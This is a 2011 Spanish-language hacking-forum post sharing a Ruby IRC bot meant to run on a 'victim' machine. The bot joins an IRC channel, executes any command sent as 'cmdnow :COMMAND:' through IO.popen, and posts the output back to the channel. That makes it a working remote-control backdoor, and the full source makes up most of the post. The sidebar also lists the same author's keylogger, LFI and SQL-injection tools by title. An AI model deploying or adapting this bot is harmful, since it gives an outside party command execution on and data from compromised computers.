elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:18  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Ruby] IRC Bot
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] IRC Bot  (Leído 541 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Ruby] IRC Bot
« en: 7 Octubre 2011, 01:30 »

Hola a todos

Acabo de hacer un simple bot para IRC , el bot se
conecta en la maquina ejecutante (victima) con un nombre
marcado por ustedes , entonces con solo poner

cmdnow :TU COMANDO:

Recibiran en el mismo chat un mensaje con el resultado del comando puesto

El codigo es el siguiente


Código
#!usr/bin/ruby
#IRC Bot (C) Doddy Hackman 2011
 
host = "localhost"
canal = "#locos"
botname = "aa"
 
def head()
print "\n\n == -- IRC BOT -- ==\n\n"
end
 
def uso()
print "\n[+] Sintax : #{$0} <host> <channel> <bot name>\n"
end
 
def copyright()
print "\n\n(C) Doddy Hackman 2011\n\n"
end
 
def load(host,canal,botname)
begin
irc = TCPSocket.open(host,6667)
rescue
print "\n\n[-] Error\n\n"
else
irc.print "NICK #{botname}\r\n"
irc.print "USER #{botname} 1 1 1 1\r\n"
irc.print "JOIN #{canal}\r\n"
 
print "\n\n[+] Online\n\n"
 
while 1
 
code = irc.recv(666)
 
if (code=~/PING (.*)/)
irc.print "PONG #{$1}\n"
end
 
#if code=~/:(.*)!(.*):(.*)/
#print "Un tal : #{$1}\n"
#print "Dijo : #{$3}\n"
#end
 
if code=~/cmdnow :(.*):/
re = IO.popen($1).read
re = re.gsub("\n","|")
irc.print "PRIVMSG #locos : ",re,"\r\n"
end
end
end
end
 
head()
load(host,canal,botname)
copyright()
 
 
# ¿ The End ?
 


« Última modificación: 8 Octubre 2011, 19:01 por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ruby y Ruby on Rails
Programación General
Nanocity 2 675 Último mensaje 31 Octubre 2007, 21:32
por alone-in-the-chat
[Introducing Ruby] Lo que debes saber sobre Ruby
Scripting
RyogiShiki 0 1,946 Último mensaje 4 Marzo 2011, 20:45
por RyogiShiki
[Ruby] Simple Keylogger
Scripting
Doddy 0 472 Último mensaje 7 Octubre 2011, 01:30
por Doddy
[Ruby] LFI T00l
Scripting
Doddy 0 199 Último mensaje 7 Octubre 2011, 01:30
por Doddy
[Ruby] SQLI Scanner
Scripting
Doddy 0 183 Último mensaje 7 Octubre 2011, 01:32
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines